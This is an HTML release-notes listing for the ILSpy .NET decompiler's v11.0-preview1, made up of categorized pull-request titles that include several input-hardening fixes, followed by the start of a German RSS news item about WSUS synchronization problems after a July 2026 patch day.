<h1>New Features</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789908433" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3847" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3847/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3847">#3847</a>: Unpack !AvaloniaResources into per-file resource tree nodes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718765259" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3801" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3801/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3801">#3801</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712188871" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3797" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3797/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3797">#3797</a>: resolve ilspycmd -t type names with fuzzy matching</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4683952279" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3789" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3789/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3789">#3789</a>: Add a bookmarks feature for the decompiled C# view</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666953116" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3786" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3786/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3786">#3786</a>: Add omnibar breadcrumb and search bar above the decompiled code</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639165641" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3769" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3769/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3769">#3769</a>: Make the override modifier a link to the overridden member</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634190887" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3762" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3762/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3762">#3762</a>: Add Open from NuGet feed dialog for browsing and opening packages</li>
</ul>
<h1>User Interface</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808073575" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3857" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3857/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3857">#3857</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="665845843" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2078" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2078/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2078">#2078</a>: Generic local functions not highlighted properly</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807826529" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3855" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3855/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3855">#3855</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781346048" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3845" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3845/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3845">#3845</a>: Add option to expand XML documentation comments</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732796565" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3814" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3814/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3814">#3814</a>: Toggle the fold under the right-click, not at the caret</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732765182" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3812" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3812/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3812">#3812</a>: Syntax-colour analyzer signatures with bold type names (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="704805286" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2164" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2164/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2164">#2164</a>)</li>
</ul>
<h1>Enhancements</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832648354" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3872" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3872/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3872">#3872</a>: Decompile await on dynamic expressions</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759122422" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3837" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3837/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3837">#3837</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720769518" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3804" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3804/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3804">#3804</a>: decompile foreach over inline array</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687061981" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3791" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3791/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3791">#3791</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650340876" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3777" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3777/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3777">#3777</a>: decompile runtime async without a separate C# 15 setting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761445685" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3843" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3843/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3843">#3843</a>: Bound XamarinCompressedFileLoader against crafted XALZ headers</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761395399" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3842" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3842/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3842">#3842</a>: Bound WebCilFile section access against mapped-view length</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761295787" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3841" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3841/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3841">#3841</a>: Harden BAML reader against crafted-resource crashes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735803980" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3816" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3816/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3816">#3816</a>: Allow overriding an assembly's target framework for reference resolution</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761169648" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3840" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3840/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3840">#3840</a>: Bound .rsrc resource-tree parsing against crafted input</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759588790" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3838" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3838/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3838">#3838</a>: Guard against OOB read when bundle signature is at file start</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737336554" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3818" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3818/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3818">#3818</a>: Display the IL 'tail.' prefix in C# output</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723910454" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3808" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3808/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3808">#3808</a>: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719933938" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3802" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3802/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3802">#3802</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718225639" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3799" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3799/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3799">#3799</a> and three related stackalloc initializer decompilation defects</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652771245" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3780" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3780/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3780">#3780</a>: Compute public-key tokens with a managed SHA-1</li>
</ul>
<h1>Documentation</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820002722" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3868" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3868/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3868">#3868</a>: CONTRIBUTING.md for the AI era</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820951011" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3870" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3870/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3870">#3870</a>: Add decompiler architecture document</li>
</ul>
<h1>Testing / Infrastructure</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644097043" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3771" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3771/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3771">#3771</a>: Run the decompiler test suite on Linux</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671571517" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3788" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3788/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3788">#3788</a>: Use cross-platform separators for the FSharp.Core.dll test path</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723637729" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3807" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3807/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3807">#3807</a>: Adopt SDK default Compile items in Decompiler and Decompiler.Tests</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733975594" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3815" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3815/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3815">#3815</a>: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758438764" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3836" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3836/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3836">#3836</a>: Don't assert decompiled local types match the signature</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761139795" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3839" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3839/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3839">#3839</a>: Add fine-grained debug steps with highlighting for C# and ILAst</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793373898" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3849" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3849/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3849">#3849</a>: Set OpenSSL SHA1 flag in build scripts</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808741983" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3859" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3859/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3859">#3859</a>: Add test coverage for untested corners of implemented language features</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851968414" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3874" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3874/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3874">#3874</a>: Upload TestCases folder as artifact when CI tests fail</li>
</ul>
<h1>Contributions</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801689525" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3851" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3851/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3851">#3851</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801681484" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3850" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3850/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3850">#3850</a>: recover ReadOnlySpan array literals from the legacy lazy cache — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864134658" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3878" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3878/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3878">#3878</a>: Handle negative dictionary capacity in string switch transform — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750785500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3828" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3828/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3828">#3828</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713145" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3826" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3826/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3826">#3826</a>: wrap an overflowing constant subexpression in unchecked() — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752170808" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3831" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3831/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3831">#3831</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713020" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3825" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3825/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3825">#3825</a>: reconstruct async iterators with [EnumeratorCancellation] and await in finally — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752125428" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3830" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3830/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3830">#3830</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713292" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3827" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3827/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3827">#3827</a>: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750148217" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3823" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3823/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3823">#3823</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749937155" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3821" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3821/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3821">#3821</a>: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750084889" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3822" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3822/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3822">#3822</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749936915" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3820" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3820/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3820">#3820</a>: decompile dynamic ~ as ~x instead of an unsupported-opcode error — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711234243" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3796" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3796/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3796">#3796</a>: Fix decompiler tests project inside VS — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoctorKrolic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoctorKrolic">@DoctorKrolic</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671354233" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3787" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3787/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3787">#3787</a>: dev: fix editorconfig parsing on some editors — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mochaaP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mochaaP">@mochaaP</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865510907" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3879" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3879/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3879">#3879</a>: Fix the "Use nested namespace structure" option — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
</ul>
<h1>Bug Fixes</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868276420" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3881" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3881/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3881">#3881</a>: Reject negative char index in the length-and-char string switch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814308307" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3866" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3866/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3866">#3866</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3053643281" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3475" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3475/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3475">#3475</a>: Emit 'true ? null : new { ... }' for null of anonymous type</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814077592" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3864" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3864/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3864">#3864</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810298870" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3860" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3860/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3860">#3860</a>: Avoid 'out var' if the variable recurs in the argument list</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848565462" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3873" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3873/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3873">#3873</a>: Fix dynamic event-assignment decompilation leaking is-event opcode</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813891618" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3863" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3863/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3863">#3863</a>: Simplify hoisted null-guard fold to reference-type constructor chains</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4804415379" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3852" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3852/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3852">#3852</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750711500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3824" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3824/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3824">#3824</a>: fold a hoisted argument null-guard at the ILAst level</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757025735" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3832" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3832/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3832">#3832</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629464054" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3754" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3754/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3754">#3754</a>: omit async stepping info for runtime-async methods</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722659830" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3806" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3806/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3806">#3806</a>: Fix Export NullReferenceException for images/resourcexsd.baml</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687203880" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3792" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3792/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3792">#3792</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644560669" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3774" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3774/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3774">#3774</a>: keep field initializers when decompiling a static ctor alone</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686988933" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3790" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3790/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3790">#3790</a>: Skip missing session assemblies when navigating on launch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649929996" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3776" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3776/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3776">#3776</a>: Escape reserved Windows device names in output file names</li>
</ul>
<p>For a full list of changes click <a href="https://github.com/icsharpcode/ILSpy/compare/v10.1...v11.0-preview1">here</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Update-Chaos nach Patch-Day: WSUS-Server verweigert Synchronisation]]></title>
<description><![CDATA[Nach dem Windows-Patch-Day im Juli 2026 häufen sich Berichte über Probleme mit dem Windows Server Update Service (WSUS). Microsoft bestätigte inzwischen eine Störung, die zu langsamen Synchronisierungen und Zeitüberschreitungen führt.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3679123/it-security-nachrichten/update-chaos-nach-patch-day-wsus-server-verweigert-synchronisation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679123/it-security-nachrichten/update-chaos-nach-patch-day-wsus-server-verweigert-synchronisation/</guid>
<pubDate>Sun, 19 Jul 2026 10:22:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
